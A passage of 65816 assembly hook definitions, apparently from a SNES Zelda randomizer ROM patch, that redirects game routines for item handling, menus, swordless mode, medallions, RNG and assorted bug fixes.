$0000) LDA $0000, Y : STA $11F2 LDA $0002, Y : STA $11F4 LDA $0040, Y : STA $1232 LDA $0042, Y : STA $1234 ;-------------------------------------------------------------------------------- org $0DE2DC ; <- 6E2DC - equipment.asm : 989 (LDA $F449, X : STA $122C, Y) JMP UpdateBottleMenu_return org $0DE2F1 ; <- 6E2F1 - equipment.asm : 1000 (SEP #$30) UpdateBottleMenu_return: ;-------------------------------------------------------------------------------- ;org $0DDDC3 ; <- 6DDC3 - equipment.asm : 131 (JSR DrawAbilityText) ;NOP #3 org $0DE6F4 ; <- 6E6F4 - equipment.asm : 1474 (BCC .lacksAbility) db #$80 ; BRA org $0DE81A ; <- 6E81A - equipment.asm : 1597 (STA $00) RTS org $0DE7B9 ; <- 6E7B9 - equipment.asm : 1548 (LDA.w #$16D0 : STA $00) JSL.l DrawGlovesInMenuLocation : NOP org $0DE7CF ; <- 6E7CF - equipment.asm : 1554 (LDA.w #$16C8 : STA $00) JSL.l DrawBootsInMenuLocation : NOP org $0DE7E5 ; <- 6E7E5 - equipment.asm : 1560 (LDA.w #$16D8 : STA $00) JSL.l DrawFlippersInMenuLocation : NOP org $0DECEB ; <- 6ECEB - equipment.asm : 1946 (LDA.w #$16E0 : STA $00) JSL.l DrawMoonPearlInMenuLocation : NOP ;-------------------------------------------------------------------------------- ;org $0DE9D8 ; <- 6E9D8 - equipment.asm : 1635 (LDA $E860, X : STA $12EA, X) ;BRA DrawProgressIcons_initPendantDiagram_notext ;org $0DEA0E ; <- 6EA0E - equipment.asm : 1645 (INX #2) ;DrawProgressIcons_initPendantDiagram_notext: ;-------------------------------------------------------------------------------- ;================================================================================ ; Map Always Zoomed ;-------------------------------------------------------------------------------- ;org $0ABA49 ; <- 53A49 - Bank0A.asm : 447 (LDA.b #$80 : STA $211A) ;JSL.l PrepMapZoom : RTL ;org $0ABB32 ; <- 53B32 - Bank0A.asm : 626 (LDA $F6 : AND.b #$70) ;JSL.l ForceMapZoom ;-------------------------------------------------------------------------------- ;================================================================================ ; Zelda S&Q Mirror Fix ;-------------------------------------------------------------------------------- org $02D9A4 ; <- 159A4 - Bank02.asm : 11077 (dw $0000, $0002, $0002, $0032, $0004, $0006, $0030) dw $0000, $0002, $0004, $0032, $0004, $0006, $0030 ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Accessability ; ;-------------------------------------------------------------------------------- ; ;org $0AC574 ; <- 54574 - Bank0A.asm : 1797 (LDA $0D : STA $0802, X) ; ;JSL FlipGreenPendant ; ;NOP #6 ; ;-------------------------------------------------------------------------------- ; org $08AAE1 ; <- 42AE1 - ancilla_ether_spell.asm : 22 (LDA $031D : CMP.b #$0B) ; JSL.l SetEtherFlicker : NOP ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Ice Floor Toggle ;-------------------------------------------------------------------------------- org $07D234 ; <- 3D234 - Bank07.asm : 12758 (LDA $0348 : AND.b #$11 : BEQ .notWalkingOnIce) JSL.l LoadModifiedIceFloorValue_a11 : NOP ;-------------------------------------------------------------------------------- org $07D26E ; <- 3D26E - Bank07.asm : 12786 (LDA $0348 : AND.b #$01 : BNE BRANCH_RESH) JSL.l LoadModifiedIceFloorValue_a01 : NOP ;-------------------------------------------------------------------------------- ;================================================================================ ; Sword Upgrade Randomization ;-------------------------------------------------------------------------------- ;org $06C9BC ; <- 349BC - sprite_ponds.asm : 1066 ;org $06C9C0 ; <- 349C0 - sprite_ponds.asm : 1068 ;org $06C926 ; <- 34926 - sprite_ponds.asm : 945 ;JML.l GetFairySword ;NOP #12 org $06C936 ; <- 34936 - sprite_ponds.asm : 952 PyramidFairy_BRANCH_IOTA: org $06C948 ; <- 34948 - sprite_ponds.asm : 961 PyramidFairy_BRANCH_GAMMA: ;-------------------------------------------------------------------------------- ;org $0EF7BD ; <- 777BD - sprite_ponds.asm : 1890 (LDA $7EF340, X : BMI .invalidValue : BNE VWF_ChangeItemTiles) ;JSL.l ReadInventoryPond ;org $0EF7E4 ; <- 777E4 - sprite_ponds.asm : 1922 (LDA $7EF340, X : BMI .invalidValue : BNE VWF_ChangeItemTiles) ;JSL.l ReadInventoryPond ;-------------------------------------------------------------------------------- org $1EE16E ; <- F616E - sprite_bomb_shop_entity.asm : 73 NOP #8 ; fix bomb shop dialog for dwarfless big bomb org $068A14 ; <- 30A14 - sprite_prep.asm : 716 NOP #8 ; fix bomb shop spawn for dwarfless big bomb ;-------------------------------------------------------------------------------- org $06B489 ; <- 33489 - sprite_smithy_bros.asm : 473 (LDA $7EF359 : CMP.b #$03 : BCS .tempered_sword_or_better) JML.l GetSmithSword NOP #4 Smithy_DoesntHaveSword: org $06B49D ; <- 3349D - sprite_smithy_bros.asm : 485 (.tempered_sword_or_better) Smithy_AlreadyGotSword: ;-------------------------------------------------------------------------------- org $06ED55 ; <- 36D55 - Bank06.asm : 4817 JSL.l LoadSwordForDamage ; moth gold sword fix ;-------------------------------------------------------------------------------- org $08C5F7 ; <- 445F7 - ancilla_receive_item.asm : 400 (LDA.b #$09 : STA $012D) NOP #5 ; remove spooky telepathy sound ;-------------------------------------------------------------------------------- ;org $1EE094 ; PC 0xF6094 - sprite_hylian_plaque.asm : 79 (JSL Sprite_ShowMessageUnconditional) ;JSL.l DialogPedestal ;-------------------------------------------------------------------------------- org $08C431 ; <- 44431 - ancilla_receive_item.asm : 125 (LDA $0C5E, X : CMP.b #$01 : BNE .notMasterSword2) JSL.l MSMusicReset : NOP ;LDA $8A : CMP.b #$80 : NOP ; $22 = $0000 - $00FF - MS Pedestal ; $22 = $0100 - $00FF - Hobo ;-------------------------------------------------------------------------------- ;================================================================================ ; New Items ;-------------------------------------------------------------------------------- org $07B57B ; <- 3B57B - Bank07.asm : 8523 (BMI .cantOpen) NOP #2 ;-------------------------------------------------------------------------------- org $00D531 ; 5531 - Bank00.asm:3451 (LDY.b #$5D) JML.l GetAnimatedSpriteGfxFile org $00D547 ; 5547 - Bank00.asm:3467 (JSR Decomp_spr_high) GetAnimatedSpriteGfxFile_return: org $00D557 ; 5557 - Bank00.asm:3486 (LDA $00 : ADC $D469, X) JSL.l GetAnimatedSpriteBufferPointer NOP org $0799F7 ; 399F7 - Bank07.asm:4107 (JSL AddReceivedItem) JSL.l AddReceivedItemExpanded org $098611 ; 48611 - ancilla_init.asm:720 (LDA .item_target_addr+0, X) LDA.w AddReceivedItemExpanded_item_target_addr+0, X org $098616 ; 48616 - ancilla_init.asm:721 (LDA .item_target_addr+1, X) LDA.w AddReceivedItemExpanded_item_target_addr+1, X org $09861F ; 4861F - ancilla_init.asm:724 (LDA .item_values, Y) LDA.w AddReceivedItemExpanded_item_values, Y org $098627 ; 48627 - ancilla_init.asm:731 (LDA .item_target_addr+0, X) LDA.w AddReceivedItemExpanded_item_target_addr+0, X org $09862C ; 4862C - ancilla_init.asm:722 (LDA .item_target_addr+1, X) LDA.w AddReceivedItemExpanded_item_target_addr+1, X org $098635 ; 48635 - ancilla_init.asm:727 (LDA .item_values, Y) LDA.w AddReceivedItemExpanded_item_values, Y org $0986AA ; 486AA - ancilla_init.asm:848 (LDA .item_masks, X) LDA.w AddReceivedItemExpanded_item_masks, X org $098769 ; 48769 - ancilla_init.asm:1005 (LDA .item_graphics_indices, Y) LDA.w AddReceivedItemExpanded_item_graphics_indices, Y org $09884D ; 4884D - ancilla_init.asm:1137 (LDA $836C, Y) LDA.w AddReceivedItemExpanded_y_offsets, Y org $09885B ; 4885B - ancilla_init.asm:1139 (LDA .x_offsets, X) - I think the disassembly is wrong here, should have been LDA .x_offsets, Y LDA.w AddReceivedItemExpanded_x_offsets, Y org $0988B7 ; 488B7 - ancilla_init.asm:1199 (LDA .wide_item_flag, Y) LDA.w AddReceivedItemExpanded_wide_item_flag, Y org $0988EF ; 488EF - ancilla_init.asm:1248 (LDA $836C, Y) LDA.w AddReceivedItemExpanded_y_offsets, Y org $098908 ; 48908 - ancilla_init.asm:1258 (LDA .x_offsets, Y) LDA.w AddReceivedItemExpanded_x_offsets, Y org $08C6C8 ; 446C8 - ancilla_receive_item.asm:538 (LDA AddReceiveItem.properties, X) LDA.l AddReceivedItemExpanded_properties, X org $00C6F9 ; 446F9 - ancilla_receive_item.asm:570 (LDA AddReceiveItem.properties, X) LDA.l AddReceivedItemExpanded_properties, X org $08C6DE ; 446DE - ancilla_receive_item.asm:550 (LDA .wide_item_flag, X) LDA.l AddReceivedItemExpanded_wide_item_flag, X org $0985ED ; 485ED - ancilla_init.asm:693 (LDA $02E9 : CMP.b #$01) JSL.l AddReceivedItemExpandedGetItem NOP org $07B57D ; 3B57D - Bank07.asm:8527 (LDA Link_ReceiveItemAlternates, Y : STA $03) JSL.l Link_ReceiveItemAlternatesExpanded_loadAlternate NOP ;-------------------------------------------------------------------------------- org $09892E ; 4892E - ancilla_init.asm:1307 (LDA BottleList, X) LDA.w BottleListExpanded, X org $09895C ; 4895C - ancilla_init.asm:1344 (LDA PotionList, X) LDA.w PotionListExpanded, X ;-------------------------------------------------------------------------------- ;org $098A36 ; <- 48A36 - ancilla_init.asm:1432 (LDA AddReceiveItem.item_graphics_indices, Y : STA $72) ;LDA AddReceivedItemExpanded_item_graphics_indices, Y ;-------------------------------------------------------------------------------- org $06D1EB ; 351EB - sprite_absorbable.asm:364 (STA $7EF375) ; bugbug commented out until i figure out why it doesn't work JSL HandleBombAbsorbtion ;-------------------------------------------------------------------------------- ;org $09873F ; <- 04873F - ancilla_init.asm : 960 (ADC [$00] : STA [$00] ) ;JSL.l AddToStock ;-------------------------------------------------------------------------------- ;================================================================================ ; Kholdstare Shell Fix ;-------------------------------------------------------------------------------- org $00EC88 ; <- 6C88 - Bank00.asm:6671 - (LDA $7EC380, X : STA $7EC580, X) LDA $7EC3A0, X : STA $7EC5A0, X ;-------------------------------------------------------------------------------- org $00ECEB ; <- 6CEB - Bank00.asm:6730 - (LDX.w #$0080) LDX.w #$00A0 LDA.w #$00B0 ;-------------------------------------------------------------------------------- ;================================================================================ ; Potion Refill Fixes ;-------------------------------------------------------------------------------- ;org $0DF1B3 ; <- 6F1B3 - headsup_display.asm:492 - (SEP #$30) ;JSL.l RefillMagic ;RTL ;-------------------------------------------------------------------------------- ;org $0DF128 ; <- 6F128 - headsup_display.asm:407 - (LDA $7EF36D : CMP $7EF36C : BCC .refillAllHealth) ;JSL.l RefillHealth ;RTL ;-------------------------------------------------------------------------------- org $00F8FB ; <- 78FB - Bank00.asm:8507 - (JSL HUD.RefillHealth : BCC BRANCH_ALPHA) JSL.l RefillHealth ;-------------------------------------------------------------------------------- org $00F911 ; <- 7911 - Bank00.asm:8528 - (JSL HUD.RefillMagicPower : BCS BRANCH_$7901) JSL.l RefillMagic ;-------------------------------------------------------------------------------- org $00F918 ; <- 7918 - Bank00.asm:8537 - (JSL HUD.RefillHealth : BCC .alpha) JSL.l RefillHealth ;-------------------------------------------------------------------------------- org $00F922 ; <- 7922 - Bank00.asm:8543 - (JSL HUD.RefillMagicPower : BCC .beta) JSL.l RefillMagic ;-------------------------------------------------------------------------------- ;================================================================================ ; Early Bottle Fix ;-------------------------------------------------------------------------------- org $09894C ; <- 4894C - ancilla_init.asm:1327 JSL.l InitializeBottles ;-------------------------------------------------------------------------------- ;================================================================================ ; Agahnim Doors Fix ;-------------------------------------------------------------------------------- org $1BBC94 ; <- DBC94 - Bank1B.asm : 201 (LDA $7EF3C5 : AND.w #$000F : CMP.w #$0003 : BCS BRANCH_EPSILON) JSL.l LockAgahnimDoors : BNE Overworld_Entrance_BRANCH_EPSILON : NOP #6 org $1BBCC1 ; <- DBCC1 - Bank1B.asm : 223 (LDA $0F8004, X : AND.w #$01FF : STA $00) Overworld_Entrance_BRANCH_EPSILON: ; go here to lock doors ;-------------------------------------------------------------------------------- ; -- HOOK THIS LATER TO FUCK WITH BOSS DROPS -- org $01C73E ; <- C73E - Bank01.asm : 10377 (LDA $01C6FC, X : JSL Sprite_SpawnFallingItem) JSL.l DropSafeDungeon NOP #4 ;-------------------------------------------------------------------------------- ;================================================================================ ; Uncle / Sage Fixes - Old Man Fixes - Link's House Fixes ;-------------------------------------------------------------------------------- org $05DA4F ; <- 2DA4F - sprite_uncle_and_priest.asm : 45 (BCC .agahnim_not_defeated) db 80 ; BRA ;-------------------------------------------------------------------------------- org $05DA61 ; <- 2DA61 - sprite_uncle_and_priest.asm : 51 (BEQ .priest_not_already_dead) db 80 ; BRA ;-------------------------------------------------------------------------------- org $05DA81 ; <- 2DA81 - sprite_uncle_and_priest.asm : 65 (BCC .dontHaveMasterSword) db 80 ; BRA ;-------------------------------------------------------------------------------- ;org $05DE1D ; <- 2DE1D - sprite_uncle_and_priest.asm : 725 (LDA.b #$A0 : STA $7EF372) ;JSL.l RefillHealthPlusMagic8bit ;NOP #2 ;-------------------------------------------------------------------------------- org $05DEF8 ; <- 2DEF8 - sprite_uncle_and_priest.asm : 917 (LDA.b #$05) LDA.b #$00 ;-------------------------------------------------------------------------------- org $05DE6A ; <- 2DE6A - sprite_uncle_and_priest.asm : 796 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-------------------------------------------------------------------------------- ; org $05DE9E ; <- 2DE9E - sprite_uncle_and_priest.asm : 845 (JSL Sprite_ShowMessageUnconditional) ; JSL.l DialogUncle ;-------------------------------------------------------------------------------- ;org $1EEAB6 ; <- F6AB6 - sprite_old_mountain_man.asm : 338 (LDA.b #$A0 : STA $7EF372) ;JSL.l RefillHealthPlusMagic8bit ;NOP #2 ;-------------------------------------------------------------------------------- ;org $01E5B2 ; <- E5B8 - lower pot link's house ;db $14 ; fairy ;org $01E5B5 ; <- E5B8 - lower pot link's house ;db $14 ; fairy ;org $01E5B8 ; <- E5B8 - lower pot link's house ;db $0D ; big magic ;-------------------------------------------------------------------------------- ;================================================================================ ; Ganon's Tower Basement Door Fix ;-------------------------------------------------------------------------------- ;org $1FF3F4 ; <- 0FF3F4 ;db $00 ;-------------------------------------------------------------------------------- ; Misery Mire Basement Door Fix ;-------------------------------------------------------------------------------- ;org $1FB8E4 ; <- 0FB8E4 ;db $00 ;-------------------------------------------------------------------------------- ;0xFE465 -> 0x1E org $1FE465 db #$1E ;-------------------------------------------------------------------------------- ;================================================================================ ; Bomb & Arrow Capacity Updates ;-------------------------------------------------------------------------------- org $0DDC27 ; <- 6DC27 - headsup_display.asm:151 (LDA $7EF370 : TAY) JSL.l IncrementBombs NOP #15 ;-------------------------------------------------------------------------------- org $0DDC49 ; <- 6DC49 - headsup_display.asm:169 (LDA $7EF371 : TAY) JSL.l IncrementArrows NOP #15 ;-------------------------------------------------------------------------------- org $1EE199 ; <- F6199 - sprite_bomb_shop_entity.asm:102 (LDA $7EF370 : PHX : TAX) JSL.l CompareBombsToMax NOP #11 ;-------------------------------------------------------------------------------- ;================================================================================ ; Bonk Items ;-------------------------------------------------------------------------------- org $05FC7E ; <- 2FC7E - sprite_dash_item.asm : 118 (LDA $7EF36F : INC A : STA $7EF36F) JSL.l GiveBonkItem : NOP #5 org $05FC97 ; <- 2FC97 - sprite_dash_item.asm : 126 (LDA.b #$2F : JSL Sound_SetSfx3PanLong) NOP #6 ;-------------------------------------------------------------------------------- org $068D39 ; <- 30D39 - sprite_prep.asm : 1435 - (LDA.b #$08 : STA $0F50, X) JSL.l LoadBonkItemGFX ;-------------------------------------------------------------------------------- org $05FC04 ; <- 2FC04 - sprite_dash_item.asm : 38 - (JSL DashKey_Draw) JSL.l DrawBonkItemGFX ;-------------------------------------------------------------------------------- ;================================================================================ ; Library Item ;-------------------------------------------------------------------------------- org $05FD44 ; <- 2FD44 - sprite_dash_item.asm : 244 - (JSL Link_ReceiveItem) JSL.l SetLibraryItem ;-------------------------------------------------------------------------------- org $068D1B ; <- 30D1B - sprite_prep.asm : 1414 - (JSL GetAnimatedSpriteTile.variable) JSL.l LoadLibraryItemGFX ;-------------------------------------------------------------------------------- org $05FC9E ; <- 2FC9E - sprite_dash_item.asm : 138 - (JSL Sprite_PrepAndDrawSingleLargeLong) JSL.l DrawLibraryItemGFX ;-------------------------------------------------------------------------------- org $068D0E ; <- 30D0E - sprite_prep.asm : 1401 - (LDA $7EF34E : BEQ .book_of_mudora) JSL.l ItemCheck_Library ;-------------------------------------------------------------------------------- ;================================================================================ ; Inventory Updates ;-------------------------------------------------------------------------------- org $0DDF38 ; <- 6DF38 - equipment.asm : 480 JSL.l ProcessMenuButtons BCC _equipment_497 JMP.w _equipment_544 ;NOP #7 ResetEquipment: JSR.w RestoreNormalMenu ; (short) RTL NOP #3 warnpc $0DDF49 org $0DDF49 ; <- 6DF49 - equipment.asm : 497 _equipment_497: ; LDA $F4 : AND.b #$08 : BEQ .notPressingUp - NO BUTTON CAPTURE ;org $0DDF7E ; <- 6DF7E - equipment.asm : 539 org $0DDF88 ; <- 6DF88 - equipment.asm : 544 ;org $0DE10E ; <- 6E10E - equipment.asm : 806 _equipment_544: ;-------------------------------------------------------------------------------- org $0DEB98 ; <- 6EB98 - equipment.asm : 1803 ;LDA.w #$3C60 : STA $FFBE, Y ;ORA.w #$4000 : STA $FFC4, Y ;ORA.w #$8000 : STA $0084, Y ;EOR.w #$4000 : STA $007E, Y LDA.w #$3C60 : STA $FFBE, Y ORA.w #$8000 : STA $007E, Y ORA.w #$4000 : STA $0084, Y JSL.l AddYMarker NOP #2 ;-------------------------------------------------------------------------------- org $0DF789+6 ; <- 6F789+6 (not in disassembly) - red bottle hud tile, lower right dw #$2413 ; (Orig: #$24E3) org $0DF789+6+8 ; green bottle hud tile, lower right dw #$3C12 ; (Orig: #$3CE3) org $0DF789+6+16 ; blue bottle hud tile, lower right dw #$2C14 ; (Orig: #$2CD2) org $0DF789+6+40 ; good bee hud tile, lower right dw #$2815 ; (Orig: #$283A) ;-------------------------------------------------------------------------------- ;org $0DDE9B ; <- 6DE9B equipment.asm:296 - LDA $0202 : CMP.b #$10 : BNE .notOnBottleMenu (CMP instruction) ;CMP.b #$FF ;-------------------------------------------------------------------------------- org $0DDE9F ; <- 6DE9F equipment.asm:300 - LDA.b #$0A : STA $0200 LDA.b #$04 ;-------------------------------------------------------------------------------- org $0DDE59 ; <- 6DE59 equipment.asm:247 - REP #$20 JSL.l BringMenuDownEnhanced : RTS ;-------------------------------------------------------------------------------- org $0DDFBC ; <- 6DFBC equipment.asm:599 - LDA $EA : ADD.w #$0008 : STA $EA : SEP #$20 : BNE .notDoneScrolling JSL.l RaiseHudMenu : NOP #3 ;-------------------------------------------------------------------------------- org $0DDE3D ; <- 6DE3D equipment.asm:217 - BNE .equippedItemIsntBottle db $80 ; BRA ;-------------------------------------------------------------------------------- org $0DE12D ; <- 6E12D - equipment.asm : 828 JSL.l ProcessBottleMenu ;-------------------------------------------------------------------------------- org $0DDF9A ; <- 6DF9A - equipment.asm : 554 JSL.l OpenBottleMenu NOP ;-------------------------------------------------------------------------------- org $0DE12D ; <- 6E12D - equipment.asm : 828 JSL.l CloseBottleMenu ;-------------------------------------------------------------------------------- org $0DDF1E ; <- 6DF1E - equipment.asm : 462 - LDA $F4 : AND.b #$10 : BEQ .dontLeaveMenu JSL.l CheckCloseItemMenu ;-------------------------------------------------------------------------------- org $0DEE70 ; <- 6EE70 - equipment.asm : 2137 JSL.l PrepItemScreenBigKey NOP ;-------------------------------------------------------------------------------- org $08D395 ; <- 45395 - ancilla_bird_travel_intro.asm : 253 JSL.l UpgradeFlute NOP #2 ;-------------------------------------------------------------------------------- org $05E4D7 ; <- 2E4D7 - sprite_witch.asm : 213 JSL.l RemoveMushroom NOP #2 ;-------------------------------------------------------------------------------- org $05F55F ; <- 2F55F - sprite_potion_shop.asm : 59 JSL.l LoadPowder ;-------------------------------------------------------------------------------- org $05F681 ; <- 2F681 - sprite_potion_shop.asm : 234 JSL.l DrawPowder RTS NOP #8 ;-------------------------------------------------------------------------------- org $05F65D ; <- 2F65D - sprite_potion_shop.asm : 198 JSL.l CollectPowder NOP #5 ;-------------------------------------------------------------------------------- org $05EE5F ; <- 2EE5F - sprite_mushroom.asm : 30 JSL.l LoadMushroom NOP ;-------------------------------------------------------------------------------- org $05EE78 ; <- 2EE78 - sprite_mushroom.asm : 58 JSL.l DrawMushroom ;-------------------------------------------------------------------------------- org $05EE97 ; <- 2EE97 - sprite_mushroom.asm : 81 NOP #14 ;-------------------------------------------------------------------------------- org $07A36F ; <- 3A36F - Bank07.asm : 5679 NOP #5 org $07A379 ; <- 3A379 - Bank07.asm : 5687 JSL.l SpawnHauntedGroveItem ;-------------------------------------------------------------------------------- org $07A303 ; 3A303 - Bank07.asm : 5622 ;JSL.l FixShovelLock ;-------------------------------------------------------------------------------- org $07A3A2 ; 3A3A2 - Bank07.asm : 5720 - JSL DiggingGameGuy_AttemptPrizeSpawn JSL.l SpawnShovelItem BRA _Bank07_5726 org $07A3AB ; 3A3AB - Bank07.asm : 5726 - LDA.b #$12 : JSR Player_DoSfx2 _Bank07_5726: ;org $07A381 ; 3A381 - Bank07.asm : 5693 - ORA $035B ;ORA $035B ;-------------------------------------------------------------------------------- org $079A0E ; 39A0E - Bank07.asm : 4117 - JSL HUD.RefreshIconLong JSL.l Link_ReceiveItem_HUDRefresh ;-------------------------------------------------------------------------------- org $08C6F9 ; 446F9 - ancilla_receive_item.asm : 538 - (LDA AddReceiveItem.properties, X : BPL .valid_upper_properties) LDA AddReceivedItemExpanded_properties, X ;-------------------------------------------------------------------------------- org $08C70F ; 4470F - ancilla_receive_item.asm : 550 - (LDA .wide_item_flag, X : STA ($92), Y ; AddReceiveItem.wide_item_flag? ; LDA.b #$00 : STA ($92), Y in the japanese version) JML.l LoadNarrowObject NOP LoadNarrowObjectReturn: ;-------------------------------------------------------------------------------- ;================================================================================ ; Swordless Mode ;-------------------------------------------------------------------------------- org $07A49F ; <- 3A49F - Bank07.asm:5903 (LDA $7EF359 : INC A : AND.b #$FE : BEQ .cant_cast_play_sound) - Ether JSL.l CheckMedallionSword ;-------------------------------------------------------------------------------- org $07A574 ; <- 3A574 - Bank07.asm:6025 (LDA $7EF359 : INC A : AND.b #$FE : BEQ BRANCH_BETA) - Bombos JSL.l CheckMedallionSword ;-------------------------------------------------------------------------------- org $07A656 ; <- 3A656 - Bank07.asm:6133 (LDA $7EF359 : INC A : AND.b #$FE : BEQ BRANCH_BETA) - Quake JSL.l CheckMedallionSword ;-------------------------------------------------------------------------------- org $05F3A0 ; <- 2F3A0 - sprite_medallion_tablet.asm:240 (LDA $7EF359 : BMI .zeta) JSL.l CheckTabletSword ;-------------------------------------------------------------------------------- org $05F40A ; <- 2F40A - sprite_medallion_tablet.asm:303 (LDA $7EF359 : BMI .show_hylian_script) JSL.l CheckTabletSword ;-------------------------------------------------------------------------------- ;================================================================================ ; Medallion Tablets ;-------------------------------------------------------------------------------- org $05F274 ; <- 2F274 JSL.l ItemCheck_BombosTablet ;-------------------------------------------------------------------------------- org $05F285 ; <- 2F285 JSL.l ItemCheck_EtherTablet ;-------------------------------------------------------------------------------- ;org $098BCC ; <- 48BCC - ancilla_init.asm : 1679 (LDA AddReceiveItem.item_graphics_indices, Y : STA $72) ;;JSL.l SetTabletItem ;JSL SpawnTabletItem : PLX : PLB : RTL ;-------------------------------------------------------------------------------- org $07859F ; <- 3859F - Bank07.asm : 965 (JSL AddPendantOrCrystal) JSL SpawnTabletItem org $07862A ; <- 3862A - Bank07.asm : 1064 (JSL AddPendantOrCrystal) JSL SpawnTabletItem ;-------------------------------------------------------------------------------- ;================================================================================ ; Medallion Entrances ;-------------------------------------------------------------------------------- org $08B504 ; <- 43504 - ancilla_bombos_spell.asm : 671 JSL.l MedallionTrigger_Bombos NOP ;-------------------------------------------------------------------------------- org $08ACC8 ; <- 42CC8 - ancilla_ether_spell.asm : 350 JSL.l MedallionTrigger_Ether JMP _ancilla_ether_spell_363 warnpc $08ACE6 org $08ACE6 ; <- 42CE6 - ancilla_quake_spell.asm : 363 _ancilla_ether_spell_363: ;-------------------------------------------------------------------------------- org $08B6EA ; <- 436EA - ancilla_quake_spell.asm : 67 JSL.l MedallionTrigger_Quake JMP _ancilla_quake_spell_83 Ancilla_CheckIfEntranceTriggered: JSR $F856 RTL warnpc $08B708 org $08B708 ; <- 43708 - ancilla_quake_spell.asm : 83 _ancilla_quake_spell_83: ;-------------------------------------------------------------------------------- ;================================================================================ ; Big & Great Fairies ;-------------------------------------------------------------------------------- org $1DC475 ; <- EC475 - sprite_big_fairie.asm : 70 (LDA.w #$00A0 : ADD $7EF372 : STA $7EF372) JSL.l RefillHealthPlusMagic NOP #8 org $1DC489 ; <- EC489 - sprite_big_fairie.asm : 88 (LDA $7EF36D : CMP $7EF36C : BNE .player_hp_not_full_yet) NOP #4 JSL.l CheckFullHealth ;-------------------------------------------------------------------------------- ;================================================================================ ; RNG Fixes ;-------------------------------------------------------------------------------- org $1DFD9E ; <- EFD9E - sprite_diggin_guy.asm : 307 NOP #8 ;-------------------------------------------------------------------------------- org $1DFD67 ; <- EFD67 - sprite_diggin_guy.asm : 242 JSL.l RigDigRNG ;-------------------------------------------------------------------------------- org $01EE94 ; <- EE94 - Bank01.asm : 14121 JSL.l RigChestRNG ; ;-------------------------------------------------------------------------------- ; org $1ED63E ; <- F563E - sprite_agahnim.asm ; JSL RNG_Agahnim1 ; org $1ED6EF ; <- F56EF - sprite_agahnim.asm ; JSL RNG_Agahnim1 ; org $1D91E3 ; <- E91E3 - sprite_ganon.asm ; JSL RNG_Ganon_Extra_Warp ; org $1D9488 ; <- E9488 - sprite_ganon.asm ; JSL RNG_Ganon ; ;-------------------------------------------------------------------------------- ; ;org $01EDB2 ; <- EDB2 - Bank01.asm : 14038 ; ;INC $04C4 ; ;-------------------------------------------------------------------------------- ; org $05A3F4 ; <- 2A3F4 - sprite_lanmola.asm : 112 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Lanmolas1 ; org $05A401 ; <- 2A401 - sprite_lanmola.asm : 116 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Lanmolas1 ; org $05A4FA ; <- 2A4FA - sprite_lanmola.asm : 241 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Lanmolas1 ; org $05A507 ; <- 2A507 - sprite_lanmola.asm : 245 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Lanmolas1 ; ;-------------------------------------------------------------------------------- ; org $1DD817 ; <- ED817 - sprite_giant_moldorm.asm : 187 (JSL GetRandomInt : AND.b #$02 : DEC A : STA $0EB0, X) ; JSL.l RNG_Moldorm1 ; org $1DD821 ; <- ED821 - sprite_giant_moldorm.asm : 189 (JSL GetRandomInt : AND.b #$1F : ADC.b #$20 : STA !timer_0, X) ; JSL.l RNG_Moldorm1 ; org $1DD832 ; <- ED832 - sprite_giant_moldorm.asm : 203 (JSL GetRandomInt : AND.b #$0F : ADC.b #$08 : STA !timer_0, X) ; JSL.l RNG_Moldorm1 ; ;-------------------------------------------------------------------------------- ; org $1E81A9 ; <- F01A9 - sprite_helmasaur_king.asm : 247 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Helmasaur ; org $1E8262 ; <- F0262 - sprite_helmasaur_king.asm : 373 (JSL GetRandomInt : AND.b #$01 : BEQ BRANCH_BETA) ; JSL.l RNG_Helmasaur ; org $1DEEE1 ; <- EEEE1 - sprite_helmasaur_fireball.asm : 236 (JSL GetRandomInt : STA $0FB6) ; JSL.l RNG_Helmasaur ; ;-------------------------------------------------------------------------------- ; org $1EB5F7 ; <- F35F7 - sprite_arrghus.asm : 328 (JSL GetRandomInt : AND.b #$3F : ADC.b #$30 : STA $0DF0, X) ; JSL.l RNG_Arrghus ; ;-------------------------------------------------------------------------------- ; org $1EBF4D ; <- F3F4D - sprite_mothula.asm : 180 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Mothula ; org $1EBF60 ; <- F3F60 - sprite_mothula.asm : 187 (JSL GetRandomInt : AND.b #$1F : ADC.b #$40 : STA $0DF0, X) ; JSL.l RNG_Mothula ; org $1EBFBE ; <- F3FBE - sprite_mothula.asm : 261 (JSL GetRandomInt : AND.b #$1F : ORA.b #$40 : STA !beam_timer, X) ; JSL.l RNG_Mothula ; org $1EC095 ; <- F4095 - sprite_mothula.asm : 373 (JSL GetRandomInt : AND.b #$1F : CMP #$1E : BCC .already_in_range) ; JSL.l RNG_Mothula ; ;-------------------------------------------------------------------------------- ; org $1E957A ; <- F157A - sprite_kholdstare.asm : 209 (JSL GetRandomInt : AND.b #$3F : ADC.b #$20 : STA $0DF0, X) ; JSL.l RNG_Kholdstare ; org $1E95F0 ; <- F15F0 - sprite_kholdstare.asm : 289 (JSL GetRandomInt : AND.b #$3F : ADC.b #$60 : STA $0DF0, X) ; JSL.l RNG_Kholdstare ; org $1E95FB ; <- F15FB - sprite_kholdstare.asm : 291 (JSL GetRandomInt : PHA : AND.b #$03 : TAY) ; JSL.l RNG_Kholdstare ; org $1E96C9 ; <- F16C9 - sprite_kholdstare.asm : 453 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Kholdstare ; org $1E96E5 ; <- F16E5 - sprite_kholdstare.asm : 458 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Kholdstare ; org $1E97D5 ; <- F17D5 - sprite_kholdstare.asm : 605 (JSL GetRandomInt : AND.b #$04 : STA $0D) ; JSL.l RNG_Kholdstare ; ;-------------------------------------------------------------------------------- ; org $1DE5E4 ; <- EE5E4 - sprite_vitreous.asm : 207 (JSL GetRandomInt : AND.b #$0F : TAY) ; JSL.l RNG_Vitreous ; org $1DE626 ; <- EE626 - sprite_vitreous.asm : 255 (JSL GetRandomInt : AND.b #$07 : STA $0D90, Y) ; JSL.l RNG_Vitreous ; 